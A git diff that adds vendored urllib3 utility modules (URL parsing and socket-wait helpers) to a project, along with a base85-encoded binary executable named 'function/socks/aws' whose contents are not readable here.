+ ) + + uri_bytes = component.encode("utf-8", "surrogatepass") + is_percent_encoded = percent_encodings == uri_bytes.count(b"%") + encoded_component = bytearray() + + for i in range(0, len(uri_bytes)): + # Will return a single character bytestring on both Python 2 & 3 + byte = uri_bytes[i : i + 1] + byte_ord = ord(byte) + if (is_percent_encoded and byte == b"%") or ( + byte_ord < 128 and byte.decode() in allowed_chars + ): + encoded_component += byte + continue + encoded_component.extend(b"%" + (hex(byte_ord)[2:].encode().zfill(2).upper())) + + return encoded_component.decode(encoding) + + +def _remove_path_dot_segments(path): + # See http://tools.ietf.org/html/rfc3986#section-5.2.4 for pseudo-code + segments = path.split("/") # Turn the path into a list of segments + output = [] # Initialize the variable to use to store output + + for segment in segments: + # '.' is the current directory, so ignore it, it is superfluous + if segment == ".": + continue + # Anything other than '..', should be appended to the output + elif segment != "..": + output.append(segment) + # In this case segment == '..', if we can, we should pop the last + # element + elif output: + output.pop() + + # If the path starts with '/' and the output is empty or the first string + # is non-empty + if path.startswith("/") and (not output or output[0]): + output.insert(0, "") + + # If the path starts with '/.' or '/..' ensure we add one more empty + # string to add a trailing '/' + if path.endswith(("/.", "/..")): + output.append("") + + return "/".join(output) + + +def _normalize_host(host, scheme): + if host: + if isinstance(host, six.binary_type): + host = six.ensure_str(host) + + if scheme in NORMALIZABLE_SCHEMES: + is_ipv6 = IPV6_ADDRZ_RE.match(host) + if is_ipv6: + # IPv6 hosts of the form 'a::b%zone' are encoded in a URL as + # such per RFC 6874: 'a::b%25zone'. Unquote the ZoneID + # separator as necessary to return a valid RFC 4007 scoped IP. + match = ZONE_ID_RE.search(host) + if match: + start, end = match.span(1) + zone_id = host[start:end] + + if zone_id.startswith("%25") and zone_id != "%25": + zone_id = zone_id[3:] + else: + zone_id = zone_id[1:] + zone_id = "%" + _encode_invalid_chars(zone_id, UNRESERVED_CHARS) + return host[:start].lower() + zone_id + host[end:] + else: + return host.lower() + elif not IPV4_RE.match(host): + return six.ensure_str( + b".".join([_idna_encode(label) for label in host.split(".")]) + ) + return host + + +def _idna_encode(name): + if name and any([ord(x) > 128 for x in name]): + try: + import idna + except ImportError: + six.raise_from( + LocationParseError("Unable to parse URL without the 'idna' module"), + None, + ) + try: + return idna.encode(name.lower(), strict=True, std3_rules=True) + except idna.IDNAError: + six.raise_from( + LocationParseError(u"Name '%s' is not a valid IDNA label" % name), None + ) + return name.lower().encode("ascii") + + +def _encode_target(target): + """Percent-encodes a request target so that there are no invalid characters""" + path, query = TARGET_RE.match(target).groups() + target = _encode_invalid_chars(path, PATH_CHARS) + query = _encode_invalid_chars(query, QUERY_CHARS) + if query is not None: + target += "?" + query + return target + + +def parse_url(url): + """ + Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is + performed to parse incomplete urls. Fields not provided will be None. + This parser is RFC 3986 and RFC 6874 compliant. + + The parser logic and helper functions are based heavily on + work done in the ``rfc3986`` module. + + :param str url: URL to parse into a :class:`.Url` namedtuple. + + Partly backwards-compatible with :mod:`urlparse`. + + Example:: + + >>> parse_url('http://google.com/mail/') + Url(scheme='http', host='google.com', port=None, path='/mail/', ...) + >>> parse_url('google.com:80') + Url(scheme=None, host='google.com', port=80, path=None, ...) + >>> parse_url('/foo?bar') + Url(scheme=None, host=None, port=None, path='/foo', query='bar', ...) + """ + if not url: + # Empty + return Url() + + source_url = url + if not SCHEME_RE.search(url): + url = "//" + url + + try: + scheme, authority, path, query, fragment = URI_RE.match(url).groups() + normalize_uri = scheme is None or scheme.lower() in NORMALIZABLE_SCHEMES + + if scheme: + scheme = scheme.lower() + + if authority: + auth, _, host_port = authority.rpartition("@") + auth = auth or None + host, port = _HOST_PORT_RE.match(host_port).groups() + if auth and normalize_uri: + auth = _encode_invalid_chars(auth, USERINFO_CHARS) + if port == "": + port = None + else: + auth, host, port = None, None, None + + if port is not None: + port = int(port) + if not (0 <= port <= 65535): + raise LocationParseError(url) + + host = _normalize_host(host, scheme) + + if normalize_uri and path: + path = _remove_path_dot_segments(path) + path = _encode_invalid_chars(path, PATH_CHARS) + if normalize_uri and query: + query = _encode_invalid_chars(query, QUERY_CHARS) + if normalize_uri and fragment: + fragment = _encode_invalid_chars(fragment, FRAGMENT_CHARS) + + except (ValueError, AttributeError): + return six.raise_from(LocationParseError(source_url), None) + + # For the sake of backwards compatibility we put empty + # string values for path if there are any defined values + # beyond the path in the URL. + # TODO: Remove this when we break backwards compatibility. + if not path: + if query is not None or fragment is not None: + path = "" + else: + path = None + + # Ensure that each part of the URL is a `str` for + # backwards compatibility. + if isinstance(url, six.text_type): + ensure_func = six.ensure_text + else: + ensure_func = six.ensure_str + + def ensure_type(x): + return x if x is None else ensure_func(x) + + return Url( + scheme=ensure_type(scheme), + auth=ensure_type(auth), + host=ensure_type(host), + port=port, + path=ensure_type(path), + query=ensure_type(query), + fragment=ensure_type(fragment), + ) + + +def get_host(url): + """ + Deprecated. Use :func:`parse_url` instead. + """ + p = parse_url(url) + return p.scheme or "http", p.hostname, p.port diff --git a/function/http/package/urllib3/util/wait.py b/function/http/package/urllib3/util/wait.py new file mode 100644 index 0000000..21b4590 --- /dev/null +++ b/function/http/package/urllib3/util/wait.py @@ -0,0 +1,152 @@ +import errno +import select +import sys +from functools import partial + +try: + from time import monotonic +except ImportError: + from time import time as monotonic + +__all__ = ["NoWayToWaitForSocketError", "wait_for_read", "wait_for_write"] + + +class NoWayToWaitForSocketError(Exception): + pass + + +# How should we wait on sockets? +# +# There are two types of APIs you can use for waiting on sockets: the fancy +# modern stateful APIs like epoll/kqueue, and the older stateless APIs like +# select/poll. The stateful APIs are more efficient when you have a lots of +# sockets to keep track of, because you can set them up once and then use them +# lots of times. But we only ever want to wait on a single socket at a time +# and don't want to keep track of state, so the stateless APIs are actually +# more efficient. So we want to use select() or poll(). +# +# Now, how do we choose between select() and poll()? On traditional Unixes, +# select() has a strange calling convention that makes it slow, or fail +# altogether, for high-numbered file descriptors. The point of poll() is to fix +# that, so on Unixes, we prefer poll(). +# +# On Windows, there is no poll() (or at least Python doesn't provide a wrapper +# for it), but that's OK, because on Windows, select() doesn't have this +# strange calling convention; plain select() works fine. +# +# So: on Windows we use select(), and everywhere else we use poll(). We also +# fall back to select() in case poll() is somehow broken or missing. + +if sys.version_info >= (3, 5): + # Modern Python, that retries syscalls by default + def _retry_on_intr(fn, timeout): + return fn(timeout) + +else: + # Old and broken Pythons. + def _retry_on_intr(fn, timeout): + if timeout is None: + deadline = float("inf") + else: + deadline = monotonic() + timeout + + while True: + try: + return fn(timeout) + # OSError for 3 <= pyver < 3.5, select.error for pyver <= 2.7 + except (OSError, select.error) as e: + # 'e.args[0]' incantation works for both OSError and select.error + if e.args[0] != errno.EINTR: + raise + else: + timeout = deadline - monotonic() + if timeout < 0: + timeout = 0 + if timeout == float("inf"): + timeout = None + continue + + +def select_wait_for_socket(sock, read=False, write=False, timeout=None): + if not read and not write: + raise RuntimeError("must specify at least one of read=True, write=True") + rcheck = [] + wcheck = [] + if read: + rcheck.append(sock) + if write: + wcheck.append(sock) + # When doing a non-blocking connect, most systems signal success by + # marking the socket writable. Windows, though, signals success by marked + # it as "exceptional". We paper over the difference by checking the write + # sockets for both conditions. (The stdlib selectors module does the same + # thing.) + fn = partial(select.select, rcheck, wcheck, wcheck) + rready, wready, xready = _retry_on_intr(fn, timeout) + return bool(rready or wready or xready) + + +def poll_wait_for_socket(sock, read=False, write=False, timeout=None): + if not read and not write: + raise RuntimeError("must specify at least one of read=True, write=True") + mask = 0 + if read: + mask |= select.POLLIN + if write: + mask |= select.POLLOUT + poll_obj = select.poll() + poll_obj.register(sock, mask) + + # For some reason, poll() takes timeout in milliseconds + def do_poll(t): + if t is not None: + t *= 1000 + return poll_obj.poll(t) + + return bool(_retry_on_intr(do_poll, timeout)) + + +def null_wait_for_socket(*args, **kwargs): + raise NoWayToWaitForSocketError("no select-equivalent available") + + +def _have_working_poll(): + # Apparently some systems have a select.poll that fails as soon as you try + # to use it, either due to strange configuration or broken monkeypatching + # from libraries like eventlet/greenlet. + try: + poll_obj = select.poll() + _retry_on_intr(poll_obj.poll, 0) + except (AttributeError, OSError): + return False + else: + return True + + +def wait_for_socket(*args, **kwargs): + # We delay choosing which implementation to use until the first time we're + # called. We could do it at import time, but then we might make the wrong + # decision if someone goes wild with monkeypatching select.poll after + # we're imported. + global wait_for_socket + if _have_working_poll(): + wait_for_socket = poll_wait_for_socket + elif hasattr(select, "select"): + wait_for_socket = select_wait_for_socket + else: # Platform-specific: Appengine. + wait_for_socket = null_wait_for_socket + return wait_for_socket(*args, **kwargs) + + +def wait_for_read(sock, timeout=None): + """Waits for reading to be available on a given socket. + Returns True if the socket is readable, or False if the timeout expired. + """ + return wait_for_socket(sock, read=True, timeout=timeout) + + +def wait_for_write(sock, timeout=None): + """Waits for writing to be available on a given socket. + Returns True if the socket is readable, or False if the timeout expired. + """ + return wait_for_socket(sock, write=True, timeout=timeout) diff --git a/function/socks/aws b/function/socks/aws new file mode 100755 index 0000000000000000000000000000000000000000..1ce1d3a4c26b17a85c39cabca4b1d4bae082cd8c GIT binary patch literal 9204337 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 